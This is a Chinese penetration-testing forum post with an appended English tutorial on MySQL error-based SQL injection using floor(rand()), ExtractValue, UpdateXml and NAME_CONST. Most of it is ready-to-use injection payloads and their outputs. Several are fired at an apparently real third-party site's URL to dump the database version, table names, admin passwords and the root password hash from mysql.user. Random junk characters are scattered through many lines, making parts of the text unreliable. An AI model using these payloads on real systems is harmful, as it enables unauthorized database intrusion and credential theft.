中国网络渗透测试联盟
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法 [打印本页]
作者: admin 时间: 2015-11-11 19:03
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法
1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
举例如下：1 _) x* p1 [8 ^: f) c
首先进行正常查询：
mysql> select * from article where id = 1;
5 g8 A5 N& q! N, J" w2 s; B+—-+——-+———+
: C! {$ }) y! O| id | title | content |
1 Z6 }9 M8 ?* {9 y9 _" I: b- H+—-+——-+———+
0 R4 d) G& y! b8 c| 1 | test | do it |" Z$ f1 h' T& o( c: K
+—-+——-+———+
假如id输入存在注入的话，可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
3 [2 A; Y& g' T9 l' sERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
0 @' ?* l2 L# \9 l例如我们需要查询管理员用户名和密码：
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);. _. j! t l2 I+ E1 U
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));% x5 n) r+ _" J2 f" R1 V
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
2、ExtractValue
5 ^$ E* P) K+ R6 y测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–$ }8 ^3 ?& w8 f$ E t; w
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
. Y. a/ X9 r( g! i
* D2 e8 g) j3 r9 ~; O再收集：
* s S( G: M( {8 t* r- ~! U
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
7 _; [3 X5 X5 {! @
% d" y) |+ l8 |0 J1 m( Y. H$ }Error
uplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’# ~5 S% c$ ~& O u
& P/ U% Z/ R( s$ |/ u) w* T0 ` W
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)( a/ c- w, Q# d5 L. ~2 v$ G+ K
: b7 m7 L% i& [5 l# ], aErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
% s. F, [( F: }# C; o$ x
4 ]9 B' X. b' [MYSQL高版本报错注入技巧-利用NAME_CONST注入
# \2 T' f/ k( D, ~% N( z, BIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
, w3 c, l3 X8 e! C3 I/ t9 t8 n7 y! C( F- e/ K
5 p$ B- q0 G8 h/ h8 |& w; y相关信息9 V- C5 w1 C2 J( ^
0 g0 i9 S2 [$ C
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.* U6 b* f, Q! s: |
7 X2 P6 T s% x$ u( W- P$ K* i8 nCode:8 R4 N8 q2 y5 z
NAME_CONST(DATA, VALUE)
7 S2 D: o' C: e# E. J2 x# g, |! _3 G6 s
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.0 H" z) I E+ U& Q) T3 M4 o8 e7 c
7 |1 K0 }# S2 ]6 O( c2 |1 w$ ^" aSELECT NAME_CONST('TEST', 1)
5 n' @" F( X3 M+ g Y4 e0 } U, M
# n9 X: y5 y9 r8 H. @4 y
* Y$ ?, l8 j& Y
D* i& F1 a" X" Z3 {|---------------|
% v& h. w, w1 Q# q' B& H0 s8 \| TEST |
( Q4 p* |+ e' ^| |0 M0 p! i. Q6 X' G) Q( o
|---------------|1 `. D; k& L5 _
| 1 |$ ]0 G; y. R7 j, D# U# h1 @* f( Y& a
| |
4 V/ X* X- h5 r6 y0 f% p$ v/ c: Z|---------------|) B: k& r% [- T; {8 r' m
9 v2 I% Q# y+ h- i
6 V0 G6 f+ r, R
1 [6 z# J; M1 X# F9 ]- V" F; A/ F: h* ^1 U) U6 F4 B
http://dev.mysql.com/doc/refman/5.0/en/m...name-const6 y) K2 ?+ A; T* d& p
Intro to MySQL Variables
* p0 G3 [ a$ j# }% F# ~9 P6 ^
$ V! x$ W- e& h3 m$ s5 }Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.& d# @3 `+ ~. W+ t f2 r+ F. y6 S
w$ L5 H* H6 i/ q" X' z7 m
Code:
" y* E, \( h9 h; |: h0 D% l% b; F# nhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261! E* H% {4 u, o! D, W7 A( @# F# b, s0 E
$ _: [6 p' f0 p% M* d K! I: T6 w
( a& B1 R1 R% ^3 E$ t0 W( x; g2 |9 \; y
. m0 E$ b% ? T# O1 a
0 H, _4 \2 W% n
Code:6 e; k' G* c" w% d% \; D. v3 P
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--- K, H8 |2 \4 q! x
& S0 b1 j% t! }0 w% Q1 h" {' c. [! E2 r
5 }" l: T8 W: b3 o0 ]VAR = Your MySQL variable., y% Q1 e" {- j$ u3 R5 S+ q
$ R# b# F8 o8 a9 b: t5 x& D- rMySQL 5.1.3 Server System Variables
' k3 ]6 Y! e" Z) D1 S ^# j) V0 G& s. E6 \) M
Let's try it out on my site.., g3 I2 X# J8 p
: {* a, N' [5 J k' QCode:( B0 d' L7 L3 D h6 n- \# W
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--9 A% O/ a" j! h9 T2 }
% |: V9 P) I% p& S& Y6 P' D; q- c
Erroruplicate column name '5.0.27-community-nt'8 f' M. J! P o! o- ?
* P0 z1 T3 w% q/ H0 B3 i6 R1 f& q( J, l
& _- b0 o1 l. b" b( A- Y. [6 B
6 Q. c8 h/ T& v4 w
4 I3 Q" G8 P$ E. i. c/ d
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...8 R0 \, j" \- n# v" f# w
! C5 w* n w* E: h d+ LData Extraction
7 x! e1 H8 f/ {' J k0 a9 u5 h% h& q; _# C$ G- X
Code:) g3 q% t0 l- C* g( l" P* G
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--' z6 b6 [; f7 f+ c
' D) v9 D. G w3 Y& ^/ Z4 v' d" R4 I* U# E; z2 h
We should get a duplicate column 1 error...
: R$ D# L# I& e- f0 Y3 p' t& M, K
4 V: r9 ~- {# G; x5 L. r! YCode:
. F! ~* T! _+ a; bhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--; d7 V! B+ v/ B' w" h3 \4 X$ [
( U1 M8 h2 H% _+ m3 S# L
Erroruplicate column name '1
) w' V; k7 C2 o: P) f
9 y p5 k0 }; p7 H' D8 b6 d' y' ^( d( [. w
' ~- H, J& n% l6 C
% V% a& Y3 r/ C0 W: v& R# g) l
2 A$ c$ @1 R& K, T$ [. e/ A2 }4 i) s
7 r+ L: @" Q/ E1 V. f- D9 U; @; ~8 vNow let's get the tables out this bitch..2 t& z* }- d( s# R0 R+ X
0 U1 J8 g8 ?4 ^Code:, x2 y% j) q7 r& p! ~
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
3 Q6 O# E* q4 }9 l# L# z( A& D2 j
( z, N+ x) V p$ f; i7 L; BLet's see if it works here, if it does, we can go on and finish the job.
( b/ o; U1 P- H7 D3 s! E% t) }4 h' A. ]& `
Code:3 @* _7 B. G1 }( _ j1 A
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
" ?" w+ f$ ]7 Y$ B G& |
. {& k2 |6 m* ~; Z* z+ G7 H" _8 U0 m" q" }* I
Erroruplicate column name 'com_admanage
/ \( M+ W& U: ~5 \- T+ [% v3 z# } Z8 Y. {4 u9 z0 W! r4 H
" n( f7 Q* J3 e( |# O/ a2 ^5 p6 q9 z5 p1 l: N
5 c3 u& J- x8 D* U; d
; c p7 e' e2 h* ]' A: v) x/ w) n2 j# b& m2 W5 x" Q
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time. `8 m2 J9 d3 d* @- I" C2 G
% v7 I% Q* f G; p2 K2 f5 s
Let's get the columns out of the user table..
2 c7 Q4 w2 Q. S' {
/ ]& r& Q O4 L( S- Y9 t/ hCode:
# Q7 V& F) Y# T( L, q5 j* F+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
5 n! M0 c/ B( r; ^9 ^" G( v, h% f2 z [- y0 p6 i6 Q
: e! J5 B4 P. t: f, A
So mine looks like this, and I get the duplicate column name 'Host'.
+ ?: i' Y8 I S$ s, n
: l$ Y6 L9 c( P* p! R& H* K. {Code:! g& m, U9 `. a+ g' \. z- i+ ^
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--3 T O, M! D9 |9 l, |
' t6 @ p0 _* A; L7 A; }$ FErroruplicate column name 'Host'3 a2 n: h/ n6 x! e" n3 M5 J3 y
& x# b" w" Q7 k5 p" `& f
2 p9 A1 K1 {" c' M2 _, s; ]3 w @4 O
. C+ _* o# Q# M8 K0 j
" k* Q" H7 h7 i3 M* |+ h
- p. C3 q; S) n# E! s% i+ v5 N6 l6 L! J# e
Woot, time to finish this bitch off./ q& i5 Z, m, t8 u
/ F2 D, P! Z/ k. A# h7 NCode:
8 g( p1 v* ^6 L8 Z+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
' v( o+ M. j+ d5 S8 H- [/ }& t6 |0 f
7 u) |% J: X' }( m5 ~So mine looks like this...' j' c% h0 M1 K1 x
( ?! ~( e; G1 t$ r1 e" zCode:" A1 F: e5 Z# D( i$ h* p! ?
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--9 w/ N$ m+ V, J- b# }
8 F1 x6 J2 Q2 y2 x1 eErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
% e/ ]) x) d& @. S" R8 G+ I& }) _' [
: t& @# b& Y+ k- l ' y7 ]: Y1 K4 v
' N y5 w' i _+ u7 u- m8 A( D' Y( x0 x/ z# c8 o2 L3 l
/ h# s6 p1 i/ _* K; C5 t
And there we have it, thanks for reading.! h5 T* }0 W6 O* t
9 {: l* S! c. `$ p! i$ u/ \7 \+ V
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) |
Powered by Discuz! X3.2 |